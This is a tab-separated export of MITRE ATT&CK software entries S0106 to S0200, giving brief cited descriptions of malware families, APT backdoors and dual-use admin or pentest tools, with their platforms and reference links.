S0106	4	Software	cmd	[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd) Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).					Windows		https://attack.mitre.org/software/S0106
S0107	4	Software	Cherry Picker	[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)					Windows		https://attack.mitre.org/software/S0107
S0108	4	Software	netsh	[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)					Windows		https://attack.mitre.org/software/S0108
S0109	4	Software	WEBC2	[WEBC2](https://attack.mitre.org/software/S0109) is a backdoor used by [APT1](https://attack.mitre.org/groups/G0006) to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)					Windows		https://attack.mitre.org/software/S0109
S0110	4	Software	at	[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)					Linux, Windows		https://attack.mitre.org/software/S0110
S0111	4	Software	schtasks	[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)					Windows		https://attack.mitre.org/software/S0111
S0112	4	Software	ROCKBOOT	[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)					Windows		https://attack.mitre.org/software/S0112
S0113	4	Software	Prikormka	[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)					Windows		https://attack.mitre.org/software/S0113
S0114	4	Software	BOOTRASH	[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)					Windows		https://attack.mitre.org/software/S0114
S0115	4	Software	Crimson	[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)					Windows		https://attack.mitre.org/software/S0115
S0116	4	Software	UACMe	[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)					Windows		https://attack.mitre.org/software/S0116
S0117	4	Software	XTunnel	[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)					Windows		https://attack.mitre.org/software/S0117
S0118	4	Software	Nidiran	[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)					Windows		https://attack.mitre.org/software/S0118
S0119	4	Software	Cachedump	[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system's registry. (Citation: Mandiant APT1)					Windows		https://attack.mitre.org/software/S0119
S0120	4	Software	Fgdump	[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)					Windows		https://attack.mitre.org/software/S0120
S0121	4	Software	Lslsass	[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)					Windows		https://attack.mitre.org/software/S0121
S0122	4	Software	Pass-The-Hash Toolkit	[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)					Linux, Windows		https://attack.mitre.org/software/S0122
S0123	4	Software	xCmd	[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)					Windows		https://attack.mitre.org/software/S0123
S0124	4	Software	Pisloader	[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)					Windows		https://attack.mitre.org/software/S0124
S0125	4	Software	Remsec	[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)					Windows		https://attack.mitre.org/software/S0125
S0126	4	Software	ComRAT	[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)					Windows		https://attack.mitre.org/software/S0126
S0127	4	Software	BBSRAT	[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)					Windows		https://attack.mitre.org/software/S0127
S0128	4	Software	BADNEWS	[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)					Windows		https://attack.mitre.org/software/S0128
S0129	4	Software	AutoIt backdoor	[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.					Windows		https://attack.mitre.org/software/S0129
S0130	4	Software	Unknown Logger	[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)					Windows		https://attack.mitre.org/software/S0130
S0131	4	Software	TINYTYPHON	[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)					Windows		https://attack.mitre.org/software/S0131

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0132	4	Software	H1N1	[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)					Windows		https://attack.mitre.org/software/S0132
S0133	4	Software	Miner-C	[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)					Windows		https://attack.mitre.org/software/S0133
S0134	4	Software	Downdelph	[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)					Windows		https://attack.mitre.org/software/S0134
S0135	4	Software	HIDEDRV	[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)					Windows		https://attack.mitre.org/software/S0135
S0136	4	Software	USBStealer	[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)					Windows		https://attack.mitre.org/software/S0136
S0137	4	Software	CORESHELL	[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)					Windows		https://attack.mitre.org/software/S0137
S0138	4	Software	OLDBAIT	[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)					Windows		https://attack.mitre.org/software/S0138
S0139	4	Software	PowerDuke	[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)					Windows		https://attack.mitre.org/software/S0139
S0140	4	Software	Shamoon	[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)					Windows		https://attack.mitre.org/software/S0140
S0141	4	Software	Winnti	[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)					Windows		https://attack.mitre.org/software/S0141
S0142	4	Software	StreamEx	[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)					Windows		https://attack.mitre.org/software/S0142
S0143	4	Software	Flame	Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)					Windows		https://attack.mitre.org/software/S0143
S0144	4	Software	ChChes	[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)					Windows		https://attack.mitre.org/software/S0144
S0145	4	Software	POWERSOURCE	[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)					Windows		https://attack.mitre.org/software/S0145
S0146	4	Software	TEXTMATE	[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)					Windows		https://attack.mitre.org/software/S0146
S0147	4	Software	Pteranodon	[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)					Windows		https://attack.mitre.org/software/S0147
S0148	4	Software	RTM	[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)					Windows		https://attack.mitre.org/software/S0148
S0149	4	Software	MoonWind	[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)					Windows		https://attack.mitre.org/software/S0149
S0150	4	Software	POSHSPY	[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)					Windows		https://attack.mitre.org/software/S0150
S0151	4	Software	HALFBAKED	[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)					Windows		https://attack.mitre.org/software/S0151
S0152	4	Software	EvilGrab	[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)					Windows		https://attack.mitre.org/software/S0152
S0153	4	Software	RedLeaves	[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)					Windows		https://attack.mitre.org/software/S0153
S0154	4	Software	Cobalt Strike	[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as "adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors". Cobalt Strike's interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual) In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)					Windows		https://attack.mitre.org/software/S0154
S0155	4	Software	WINDSHIELD	[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)					Windows		https://attack.mitre.org/software/S0155
S0156	4	Software	KOMPROGO	[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)					Windows		https://attack.mitre.org/software/S0156

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0157	4	Software	SOUNDBITE	[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)					Windows		https://attack.mitre.org/software/S0157
S0158	4	Software	PHOREAL	[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)					Windows		https://attack.mitre.org/software/S0158
S0159	4	Software	SNUGRIDE	[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)					Windows		https://attack.mitre.org/software/S0159
S0160	4	Software	certutil	[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)					Windows		https://attack.mitre.org/software/S0160
S0161	4	Software	XAgentOSX	[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)					macOS		https://attack.mitre.org/software/S0161
S0162	4	Software	Komplex	[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).					macOS		https://attack.mitre.org/software/S0162
S0163	4	Software	Janicab	[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)					macOS		https://attack.mitre.org/software/S0163
S0164	4	Software	TDTESS	[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)					Windows		https://attack.mitre.org/software/S0164
S0165	4	Software	OSInfo	[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)					Windows		https://attack.mitre.org/software/S0165
S0166	4	Software	RemoteCMD	[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)					Windows		https://attack.mitre.org/software/S0166
S0167	4	Software	Matroyshka	[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)					Windows		https://attack.mitre.org/software/S0167
S0168	4	Software	Gazer	[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)					Windows		https://attack.mitre.org/software/S0168
S0169	4	Software	RawPOS	[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)					Windows		https://attack.mitre.org/software/S0169
S0170	4	Software	Helminth	[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)					Windows		https://attack.mitre.org/software/S0170
S0171	4	Software	Felismus	[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)					Windows		https://attack.mitre.org/software/S0171
S0172	4	Software	Reaver	[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017)					Windows		https://attack.mitre.org/software/S0172
S0173	4	Software	FLIPSIDE	[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)					Windows		https://attack.mitre.org/software/S0173
S0174	4	Software	Responder	Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)					Windows		https://attack.mitre.org/software/S0174
S0175	4	Software	meek	[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.					Linux, Windows		https://attack.mitre.org/software/S0175
S0176	4	Software	Wingbird	[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)					Windows		https://attack.mitre.org/software/S0176
S0177	4	Software	Power Loader	[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)					Windows		https://attack.mitre.org/software/S0177
S0178	4	Software	Truvasys	[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)					Windows		https://attack.mitre.org/software/S0178
S0179	4	Software	MimiPenguin	[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)					Linux		https://attack.mitre.org/software/S0179
S0180	4	Software	Volgmer	[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)					Windows		https://attack.mitre.org/software/S0180
S0181	4	Software	FALLCHILL	[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)					Windows		https://attack.mitre.org/software/S0181
S0182	4	Software	FinFisher	[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)					Windows, Android		https://attack.mitre.org/software/S0182
S0183	4	Software	Tor	[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)					Linux, Windows		https://attack.mitre.org/software/S0183
S0184	4	Software	POWRUNER	[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)					Windows		https://attack.mitre.org/software/S0184

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0185	4	Software	SEASHARPEE	[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)					Windows		https://attack.mitre.org/software/S0185
S0186	4	Software	DownPaper	[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)					Windows		https://attack.mitre.org/software/S0186
S0187	4	Software	Daserf	[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)					Windows		https://attack.mitre.org/software/S0187
S0188	4	Software	Starloader	[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)					Windows		https://attack.mitre.org/software/S0188
S0189	4	Software	ISMInjector	[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)					Windows		https://attack.mitre.org/software/S0189
S0190	4	Software	BITSAdmin	[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)					Windows		https://attack.mitre.org/software/S0190
S0191	4	Software	Winexe	[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Ãœberwachung APT28 Forfiles June 2015)					Windows		https://attack.mitre.org/software/S0191
S0192	4	Software	Pupy	[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)					Linux, Windows		https://attack.mitre.org/software/S0192
S0193	4	Software	Forfiles	[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)					Windows		https://attack.mitre.org/software/S0193
S0194	4	Software	PowerSploit	[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)					Windows		https://attack.mitre.org/software/S0194
S0195	4	Software	SDelete	[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)					Windows		https://attack.mitre.org/software/S0195
S0196	4	Software	PUNCHBUGGY	[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)					Windows		https://attack.mitre.org/software/S0196
S0197	4	Software	PUNCHTRACK	[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)					Windows		https://attack.mitre.org/software/S0197
S0198	4	Software	NETWIRE	[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)					Windows		https://attack.mitre.org/software/S0198
S0199	4	Software	TURNEDUP	[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)					Windows		https://attack.mitre.org/software/S0199
S0200	4	Software	Dipsind	[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)					Windows		https://attack.mitre.org/software/S0200
